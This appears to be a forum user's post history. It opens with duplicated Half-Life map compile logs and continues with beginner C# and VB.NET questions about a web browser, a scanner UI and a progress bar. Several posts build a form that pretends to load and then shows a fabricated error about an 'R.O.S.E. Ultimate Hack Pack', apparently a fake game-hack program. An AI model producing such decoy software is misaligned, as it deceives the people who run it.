chop value [ 64.000 ] [ 64.000 ]
texchop value [ 32.000 ] [ 32.000 ]

global fade [ 1.000 ] [ 1.000 ]
global falloff [ 2 ] [ 2 ]
global light scale [ 1.000 1.000 1.000 ] [ 1.000 1.000 1.000 ]
global gamma [ 0.500 0.500 0.500 ] [ 0.500 0.500 0.500 ]
global light scale [ 1.000 ] [ 1.000 ]
global sky diffusion [ 1.000 ] [ 1.000 ]

opaque entities [ on ] [ on ]
sky lighting fix [ on ] [ on ]
incremental [ off ] [ off ]
dump [ off ] [ off ]

colour jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
monochromatic jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
softlight hack [ 0.0 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 0.0 ]
diffuse hack [ on ] [ on ]
spotlight points [ on ] [ on ]

custom shadows with bounce light
[ off ] [ off ]
rgb transfers [ off ] [ off ]


[Reading texlights from 'C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\lights.rad']
[59 texlights parsed from 'C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\lights.rad']

6149 faces
Create Patches : 36510 base patches
0 opaque faces
387295 square feet [55770552.00 square inches]
368 direct lights

BuildFacelights:
Error:
for Face 2759 (texture -0csSandWall) at
(-1662.000 679.000 -256.000) (-1662.000 679.000 -340.000) (-1664.000 679.000 -340.000) (-1664.000 679.000 -256.000)
Error: Bad surface extents (399 x 8)
Check the file ZHLTProblems.html for a detailed explanation of this problem

----- END hlrad -----






BSP Optimizer by XP-Cagey, v1.5 (Feb 3 2004)
Based on code by Valve Software

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 32/400 2048/25600 ( 8.0)
planes 6492/32767 129840/655340 (19.8)
vertexes 7446/65535 89352/786420 (11.4)
nodes 2525/32767 60600/786408 ( 7.7)
texinfos 615/32767 24600/1310680 ( 1.9)
faces 6158/131071 123160/2621420 ( 4.7)
clipnodes 7886/32767 63088/262136 (24.1)
leaves 1481/8192 41468/229376 (18.1)
marksurfaces 7464/65535 14928/131070 (11.4)
surfedges 29929/512000 119716/2048000 ( 5.8)
edges 15125/256000 60500/1024000 ( 5.9)
texdata [variable] 794856/4194304 (19.0)
lightdata [variable] 0/4194304 ( 0.0)
visdata [variable] 111848/2097152 ( 5.3)
entdata [variable] 10737/524288 ( 2.0)
=== Total BSP file data space used: 1646741 bytes ===

Planes in map: 6492
Planes actually used: 2374

Optimized!


BSP Optimizer by XP-Cagey, v1.5 (Feb 3 2004)
Based on code by Valve Software

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 32/400 2048/25600 ( 8.0)
planes 6498/32767 129960/655340 (19.8)
vertexes 7452/65535 89424/786420 (11.4)
nodes 2523/32767 60552/786408 ( 7.7)
texinfos 617/32767 24680/1310680 ( 1.9)
faces 6159/131071 123180/2621420 ( 4.7)
clipnodes 7889/32767 63112/262136 (24.1)
leaves 1480/8192 41440/229376 (18.1)
marksurfaces 7457/65535 14914/131070 (11.4)
surfedges 29940/512000 119760/2048000 ( 5.8)
edges 15132/256000 60528/1024000 ( 5.9)
texdata [variable] 794856/4194304 (19.0)
lightdata [variable] 0/4194304 ( 0.0)
visdata [variable] 110969/2097152 ( 5.3)
entdata [variable] 10737/524288 ( 2.0)
=== Total BSP file data space used: 1646160 bytes ===

Planes in map: 6498
Planes actually used: 2375

Optimized!


BSP Optimizer by XP-Cagey, v1.5 (Feb 3 2004)
Based on code by Valve Software

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 32/400 2048/25600 ( 8.0)
planes 6502/32767 130040/655340 (19.8)
vertexes 7443/65535 89316/786420 (11.4)
nodes 2518/32767 60432/786408 ( 7.7)
texinfos 618/32767 24720/1310680 ( 1.9)
faces 6155/131071 123100/2621420 ( 4.7)
clipnodes 7882/32767 63056/262136 (24.1)
leaves 1477/8192 41356/229376 (18.0)
marksurfaces 7446/65535 14892/131070 (11.4)
surfedges 29910/512000 119640/2048000 ( 5.8)
edges 15120/256000 60480/1024000 ( 5.9)
texdata [variable] 794856/4194304 (19.0)
lightdata [variable] 0/4194304 ( 0.0)
visdata [variable] 109868/2097152 ( 5.2)
entdata [variable] 10737/524288 ( 2.0)
=== Total BSP file data space used: 1644541 bytes ===

Planes in map: 6502
Planes actually used: 2375

Optimized!


BSP Optimizer by XP-Cagey, v1.5 (Feb 3 2004)
Based on code by Valve Software

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 32/400 2048/25600 ( 8.0)
planes 6502/32767 130040/655340 (19.8)
vertexes 7461/65535 89532/786420 (11.4)
nodes 2516/32767 60384/786408 ( 7.7)
texinfos 397/32767 15880/1310680 ( 1.2)
faces 6149/131071 122980/2621420 ( 4.7)
clipnodes 7887/32767 63096/262136 (24.1)
leaves 1477/8192 41356/229376 (18.0)
marksurfaces 7440/65535 14880/131070 (11.4)
surfedges 29930/512000 119720/2048000 ( 5.8)
edges 15133/256000 60532/1024000 ( 5.9)
texdata [variable] 794856/4194304 (19.0)
lightdata [variable] 0/4194304 ( 0.0)
visdata [variable] 110129/2097152 ( 5.3)
entdata [variable] 10737/524288 ( 2.0)
=== Total BSP file data space used: 1636170 bytes ===

Planes in map: 6502
Planes actually used: 2375

Optimized!

hlrad: Error:
for Face 2759 (texture -0csSandWall) at

hlrad: Error: Bad surface extents (399 x 8)
Check the file ZHLTProblems.html for a detailed explanation of this problem
User
thats all reports
-----------------------------
hlcsg v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlcsg -----
Command line: "C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\HLCSG.EXE"-nowadtextures "C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map"
Entering C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
(0.63 seconds)
SetModelCenters:
(0.02 seconds)
CSGBrush:
(2.86 seconds)

Including Wadfile: \program files\valve\zhlt\zhlt.wad
- Contains 3 used textures, 8.33 percent of map (8 textures in wad)
Using Wadfile: \program files\valve\cstrike\aim_force.wad
- Contains 0 used textures, 0.00 percent of map (43 textures in wad)
Using Wadfile: \program files\valve\valve\halflife.wad
- Contains 17 used textures, 47.22 percent of map (3116 textures in wad)
Using Wadfile: \program files\valve\cstrike\liquids.wad
- Contains 0 used textures, 0.00 percent of map (34 textures in wad)
Using Wadfile: \program files\valve\cstrike\sticken.wad
- Contains 0 used textures, 0.00 percent of map (5 textures in wad)
Using Wadfile: \program files\valve\cstrike\aim_munderground.wad
- Contains 1 used texture, 2.78 percent of map (13 textures in wad)
Using Wadfile: \documents and settings\pc\bureau\misc\aim_hangar\cstrike\dsh.wad
- Contains 0 used textures, 0.00 percent of map (1 textures in wad)
Using Wadfile: \program files\valve\cstrike\de_dust2010.wad
- Contains 15 used textures, 41.67 percent of map (33 textures in wad)

added 6 additional animating textures.
Texture usage is at 0.76 mb (of 4.00 mb MAX)
4.44 seconds elapsed

----- END hlcsg -----



hlbsp v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlbsp -----
Command line: "C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\HLBSP.EXE""C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map"

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 4096)


BSP generation successful, writing portal file 'C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.prt'
5.91 seconds elapsed

----- END hlbsp -----



hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: "C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\HLVIS.EXE"-full "C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map"
1277 portalleafs
3716 numportals

-= Current hlvis Settings =-
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
max vis distance [ 0 ] [ 0 ]
priority [ Normal ] [ Normal ]

fast vis [ off ] [ off ]
full vis [ on ] [ off ]


BasePortalVis:
(2.52 seconds)
LeafThread:
(140.53 seconds)
average leafs visible: 170
g_visdatasize:110129 compressed from 204320
143.31 seconds elapsed [2m 23s]

----- END hlvis -----



hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: "C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\HLRAD.EXE""C:\Documents and Settings\pc\Bureau\de_werlesdust\de_werlesdust.map"

-= Current hlrad Settings =-
Name | Setting | Default
--------------------|---------------------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

vismatrix algorithm [ Original ] [ Original ]
oversampling (-extra)[ off ] [ off ]
bounces [ 1 ] [ 1 ]
ambient light [ 0.000 0.000 0.000 ] [ 0.000 0.000 0.000 ]
maximum light [ 255.000 ] [ 256.000 ]
circus mode [ off ] [ off ]

smoothing threshold [ 50.000 ] [ 50.000 ]
direct threshold [ 25.000 ] [ 25.000 ]
direct light scale [ 2.000 ] [ 2.000 ]
coring threshold [ 1.000 ] [ 1.000 ]
patch interpolation [ on ] [ on ]

texscale [ on ] [ on ]
patch subdividing [ on ] [ on ]
chop value [ 64.000 ] [ 64.000 ]
texchop value [ 32.000 ] [ 32.000 ]

global fade [ 1.000 ] [ 1.000 ]
global falloff [ 2 ] [ 2 ]
global light scale [ 1.000 1.000 1.000 ] [ 1.000 1.000 1.000 ]
global gamma [ 0.500 0.500 0.500 ] [ 0.500 0.500 0.500 ]
global light scale [ 1.000 ] [ 1.000 ]
global sky diffusion [ 1.000 ] [ 1.000 ]

opaque entities [ on ] [ on ]
sky lighting fix [ on ] [ on ]
incremental [ off ] [ off ]
dump [ off ] [ off ]

colour jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
monochromatic jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
softlight hack [ 0.0 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 0.0 ]
diffuse hack [ on ] [ on ]
spotlight points [ on ] [ on ]

custom shadows with bounce light
[ off ] [ off ]
rgb transfers [ off ] [ off ]


[Reading texlights from 'C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\lights.rad']
[59 texlights parsed from 'C:\Program Files\eddi's Tools\ZHLT Compile GUI\ZHLT\lights.rad']

6149 faces
Create Patches : 36510 base patches
0 opaque faces
387295 square feet [55770552.00 square inches]
368 direct lights

BuildFacelights:
Error:
for Face 2759 (texture -0csSandWall) at
(-1662.000 679.000 -256.000) (-1662.000 679.000 -340.000) (-1664.000 679.000 -340.000) (-1664.000 679.000 -256.000)
Error: Bad surface extents (399 x 8)
Check the file ZHLTProblems.html for a detailed explanation of this problem

----- END hlrad -----






BSP Optimizer by XP-Cagey, v1.5 (Feb 3 2004)
Based on code by Valve Software

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 32/400 2048/25600 ( 8.0)
planes 6492/32767 129840/655340 (19.8)
vertexes 7446/65535 89352/786420 (11.4)
nodes 2525/32767 60600/786408 ( 7.7)
texinfos 615/32767 24600/1310680 ( 1.9)
faces 6158/131071 123160/2621420 ( 4.7)
clipnodes 7886/32767 63088/262136 (24.1)
leaves 1481/8192 41468/229376 (18.1)
marksurfaces 7464/65535 14928/131070 (11.4)
surfedges 29929/512000 119716/2048000 ( 5.8)
edges 15125/256000 60500/1024000 ( 5.9)
texdata [variable] 794856/4194304 (19.0)
lightdata [variable] 0/4194304 ( 0.0)
visdata [variable] 111848/2097152 ( 5.3)
entdata [variable] 10737/524288 ( 2.0)
=== Total BSP file data space used: 1646741 bytes ===

Planes in map: 6492
Planes actually used: 2374

Optimized!


BSP Optimizer by XP-Cagey, v1.5 (Feb 3 2004)
Based on code by Valve Software

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 32/400 2048/25600 ( 8.0)
planes 6498/32767 129960/655340 (19.8)
vertexes 7452/65535 89424/786420 (11.4)
nodes 2523/32767 60552/786408 ( 7.7)
texinfos 617/32767 24680/1310680 ( 1.9)
faces 6159/131071 123180/2621420 ( 4.7)
clipnodes 7889/32767 63112/262136 (24.1)
leaves 1480/8192 41440/229376 (18.1)
marksurfaces 7457/65535 14914/131070 (11.4)
surfedges 29940/512000 119760/2048000 ( 5.8)
edges 15132/256000 60528/1024000 ( 5.9)
texdata [variable] 794856/4194304 (19.0)
lightdata [variable] 0/4194304 ( 0.0)
visdata [variable] 110969/2097152 ( 5.3)
entdata [variable] 10737/524288 ( 2.0)
=== Total BSP file data space used: 1646160 bytes ===

Planes in map: 6498
Planes actually used: 2375

Optimized!


BSP Optimizer by XP-Cagey, v1.5 (Feb 3 2004)
Based on code by Valve Software

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 32/400 2048/25600 ( 8.0)
planes 6502/32767 130040/655340 (19.8)
vertexes 7443/65535 89316/786420 (11.4)
nodes 2518/32767 60432/786408 ( 7.7)
texinfos 618/32767 24720/1310680 ( 1.9)
faces 6155/131071 123100/2621420 ( 4.7)
clipnodes 7882/32767 63056/262136 (24.1)
leaves 1477/8192 41356/229376 (18.0)
marksurfaces 7446/65535 14892/131070 (11.4)
surfedges 29910/512000 119640/2048000 ( 5.8)
edges 15120/256000 60480/1024000 ( 5.9)
texdata [variable] 794856/4194304 (19.0)
lightdata [variable] 0/4194304 ( 0.0)
visdata [variable] 109868/2097152 ( 5.2)
entdata [variable] 10737/524288 ( 2.0)
=== Total BSP file data space used: 1644541 bytes ===

Planes in map: 6502
Planes actually used: 2375

Optimized!


BSP Optimizer by XP-Cagey, v1.5 (Feb 3 2004)
Based on code by Valve Software

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 32/400 2048/25600 ( 8.0)
planes 6502/32767 130040/655340 (19.8)
vertexes 7461/65535 89532/786420 (11.4)
nodes 2516/32767 60384/786408 ( 7.7)
texinfos 397/32767 15880/1310680 ( 1.2)
faces 6149/131071 122980/2621420 ( 4.7)
clipnodes 7887/32767 63096/262136 (24.1)
leaves 1477/8192 41356/229376 (18.0)
marksurfaces 7440/65535 14880/131070 (11.4)
surfedges 29930/512000 119720/2048000 ( 5.8)
edges 15133/256000 60532/1024000 ( 5.9)
texdata [variable] 794856/4194304 (19.0)
lightdata [variable] 0/4194304 ( 0.0)
visdata [variable] 110129/2097152 ( 5.3)
entdata [variable] 10737/524288 ( 2.0)
=== Total BSP file data space used: 1636170 bytes ===

Planes in map: 6502
Planes actually used: 2375

Optimized!

hlrad: Error:
for Face 2759 (texture -0csSandWall) at

hlrad: Error: Bad surface extents (399 x 8)
Check the file ZHLTProblems.html for a detailed explanation of this problem

User
It depends on what kind of object and what you want to do with the object.
User
In the Form1 Class
Here is an updated version....

code
using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; namespace WhiteBird { static class Program { /// <summary> /// The main entry point for the application. /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Browser()); } } }


code
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace WhiteBird { public partial class Browser : Form { public Browser() { InitializeComponent(); } private void Browser_Load(object sender, EventArgs e) { } private void aboutToolStripMenuItem_Click(object sender, EventArgs e) { About aboutForm = new About(); aboutForm.ShowDialog(); } } }
User
Yeah I don't get it either...
I can get to the point where I ask a question, then I ask it and get the same thing every time...
"Jud Answers: [object global]"
Truck
User
Okay, so I am making a web browser.
I have a StreamWriter that writes the current url to a file. I also I have a StreamReader that (on form load) reads the file and populates my combobox with the urls. The problem is if I put the StreamWriter in the go button click method it will close and I will only write 1 line (if there are multiple urls it only writes the last one -well actually it writes all the urls the problem is it writes over the previous url). If I put the StreamWriter in the declarations I get a system IO Exception, because my StreamReader already has access the the file (the StreamWriter successfully writes multiple urls if I disable the StreamReader). So I need to find either a place for the StreamReader or StreamWriter...

Wait....

Fuck yes! My first use of an array that worked!

C# code
//Way up top ArrayList urllist = new ArrayList(); private void Form1_FormClosing(object sender, FormClosingEventArgs e) { StreamWriter sw = new StreamWriter("history.txt"); foreach (string temp in urllist) { sw.WriteLine(temp); } sw.Close(); sw.Dispose(); }
Truck
User
Looks like I am going to have to do a complete overhaul of my code.

code
private void tabControl1_SelectedIndexChanged(object sender, EventArgs e) { try { WebBrowser thiswebpage = GetCurrentWebBrowser(); TSBback.Enabled = true; TSBforward.Enabled = true; TSBhome.Enabled = true; TSBrefresh.Enabled = true; TSBstop.Enabled = true; TSCBurl.Enabled = true; TSBgo.Enabled = true; TSBnewtab.Enabled = true; TSBclosetab.Enabled = true; } catch (ArgumentOutOfRangeException) { TSBback.Enabled = false; TSBforward.Enabled = false; TSBhome.Enabled = false; TSBrefresh.Enabled = false; TSBstop.Enabled = false; TSCBurl.Enabled = false; TSBgo.Enabled = false; TSBnewtab.Enabled = false; TSBclosetab.Enabled = false; } }


Looks like I don't.
Truck
User
I got an error box upon starting it up. Here's the details...
code
See the end of this message for details on invoking just-in-time (JIT) debugging instead of this dialog box. ************** Exception Text ************** System.IO.IOException: The process cannot access the file 'C:\Users\DJ\AppData\Local\Temp\Rar$EX10.8480\history.txt' because it is being used by another process. at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath) at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy) at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy) at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options) at System.IO.StreamReader..ctor(String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, Int32 bufferSize) at System.IO.StreamReader..ctor(String path, Boolean detectEncodingFromByteOrderMarks) at WhiteBird.Form1.Form1_Load(Object sender, EventArgs e) at System.Windows.Forms.Form.OnLoad(EventArgs e) at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible) at System.Windows.Forms.Control.CreateControl() at System.Windows.Forms.Control.WmShowWindow(Message& m) at System.Windows.Forms.Control.WndProc(Message& m) at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m) at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam) ************** Loaded Assemblies ************** mscorlib Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/Microsoft.NET/Framework64/v2.0.50727/mscorlib.dll ---------------------------------------- WhiteBird2 Assembly Version: 1.0.0.0 Win32 Version: 1.0.0.0 CodeBase: file:///C:/Users/DJ/AppData/Local/Temp/Rar$EX10.8480/WhiteBird%20Beta%201.4.exe ---------------------------------------- System.Windows.Forms Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll ---------------------------------------- System Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll ---------------------------------------- System.Drawing Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll ---------------------------------------- System.Configuration Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll ---------------------------------------- System.Xml Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll ---------------------------------------- ************** JIT Debugging ************** To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled. For example: <configuration> <system.windows.forms jitDebugging="true" /> </configuration> When JIT debugging is enabled, any unhandled exception will be sent to the JIT debugger registered on the computer rather than be handled by this dialog box.
User
I figured it out, I added timer1.stop
code
Public Class Form2 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick ProgressBar1.Increment(1) If ProgressBar1.Value = 100 Then Timer1.Stop() MsgBox("An error occured while connecting to your R.O.S.E. Online client. Please make sure your R.O.S.E. Ultimate Hack Pack is in the same directory as your R.O.S.E. Online client.") End If End Sub End Class
Truck
User
So I decided to stop worrying about all the hard stuff, and jus' get my ui to work, and my conceptual overview correct. So I got the scan form to open a process called avscan; the problem is I want the option to have a full and fast scan. How would I accomplish this without have to write separate executables for the full and fast scan? Is there a way to send a parameter or option to the avscan.exe? I want the scanning engine to be a separate executable not a function or sub routine in the ui.


code
private void Bfullscan_Click(object sender, EventArgs e) { //string avscandir = Directory.GetCurrentDirectory() + "\avscan.exe"; //MessageBox.Show(avscandir, "this.Show"); try { System.Diagnostics.Process.Start(Directory.GetCurrentDirectory() + "\avscan.exe","full"); } catch (Exception exeption) { MessageBox.Show("There was a problem starting the scan." + exeption.ToString(), "Error"); } } private void Bfastscan_Click(object sender, EventArgs e) { try { System.Diagnostics.Process.Start(Directory.GetCurrentDirectory() + "\avscan.exe", "fast"); } catch (Exception exeption) { MessageBox.Show("There was a problem starting the scan." + exeption.ToString(), "Error"); } }
User
AHA!
I figured out whats going wrong, and I should have figured it out earlier when you said something about it being inside the timer.
I ran it with just this
code
Public Class Form2 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick ProgressBar1.Increment(1) MsgBox("An error occured while connecting to your R.O.S.E. Online client. Please make sure your R.O.S.E. Ultimate Hack Pack is in the same directory as your R.O.S.E. Online client.") End Sub End Class

and it still popped up with all the msgbox's. So I gotta put the messagebox part somewhere else. My new question is... where?
User
code
Public Class Form2 Dim bool As Boolean = True Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick ProgressBar1.Increment(1) If ProgressBar1.Value = ProgressBar1.Maximum Then If bool = True Then MsgBox("An error occured while connecting to your R.O.S.E. Online client. Please make sure your R.O.S.E. Ultimate Hack Pack is in the same directory as your R.O.S.E. Online client.") bool = False End If End If End Sub End Class

Still infinite errors :/
User
Rockbomb said:
Ah, good idea. Imma try that out.

Edit: It didn't work...
Her's what I got now
code
Public Class Form2 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim bool As Boolean = True ProgressBar1.Increment(1) If ProgressBar1.Value = ProgressBar1.Maximum Then If bool = True Then MsgBox("An error occured while connecting to your R.O.S.E. Online client. Please make sure your R.O.S.E. Ultimate Hack Pack is in the same directory as your R.O.S.E. Online client.") bool = False End If End If End Sub End Class


I thought that woulda worked...


Dim bool As Boolean = True

You have that inside the method with means every time the timer ticks it sets bool as a boolean = true.
Put the declaration with the rest of your declarations.
User
Ah, good idea. Imma try that out.

Edit: It didn't work...
Her's what I got now
code
Public Class Form2 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim bool As Boolean = True ProgressBar1.Increment(1) If ProgressBar1.Value = ProgressBar1.Maximum Then If bool = True Then MsgBox("An error occured while connecting to your R.O.S.E. Online client. Please make sure your R.O.S.E. Ultimate Hack Pack is in the same directory as your R.O.S.E. Online client.") bool = False End If End If End Sub End Class


I thought that woulda worked...
User
Public Class Form2
Dim tempBool as boolean = false

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
if tempBools = false then
MsgBox("An error occured while connecting to your R.O.S.E. Online client. Please make sure your R.O.S.E. Ultimate Hack Pack is in the same directory as your R.O.S.E. Online client.")
tempBool = true
endif
End If

End Sub
End Class


Actually....Try

If ProgressBar1.Value >= 100 Then
MsgBox
endif
User
Ok, so I'm making this form where there is a progress bar, and when the progress bar is full, it displays an Error message. Only problem is, the way i wrote it, it will pop up infinite error messages until you go into task manager and close the process.
Here's the code I have now...
code
Public Class Form2 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick ProgressBar1.Increment(1) If ProgressBar1.Value = ProgressBar1.Maximum Then MsgBox("An error occured while connecting to your R.O.S.E. Online client. Please make sure your R.O.S.E. Ultimate Hack Pack is in the same directory as your R.O.S.E. Online client.") End If End Sub End Class


So, how would I go about making it so it only brings up the error one time?
User
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/3ZlDZPYzfm4&hl=en_US&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/3ZlDZPYzfm4&hl=en_US&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>

What's up with embedding?
Run to the Hills
Truck
User
C# code
private void Benter_Click(object sender, EventArgs e) { string mainString = INmain.Text; string chars = "+-x/"; char [] charArray = chars.ToCharArray(); INmain.Text = charArray.ToString(); for (int i = 0; i >= 4; i++) { int tempInt = mainString.IndexOfAny(charArray); INmain.Text = tempInt.ToString(); } }


For some reason the output value is System.Char[].
I am really bad with arrays.

I changed it to this but it still no work:
C# code
private void Benter_Click(object sender, EventArgs e) { string mainString = INmain.Text; // string chars = "+-x/"; char [] charArray = {'+','-','x','/'}; // INmain.Text = charArray.ToString(); for (int i = 0; i >= 4; i++) { int tempInt = mainString.IndexOfAny(charArray); INmain.Text = INmain.Text + tempInt.ToString(); } }
Truck
User
This is my code:

C# code
private void Bscan_Click(object sender, EventArgs e) { scanForm Form = new scanForm(); Form.Show(); this.Dispose(); } private void Bconfig_Click(object sender, EventArgs e) { configForm Form = new configForm(); Form.Show(); this.Dispose(); }


This is my problem:
The entire application closes.
When I substitute
code
this.Dispose();
with
code
this.Hide
my application WONT close.
Truck
User
code
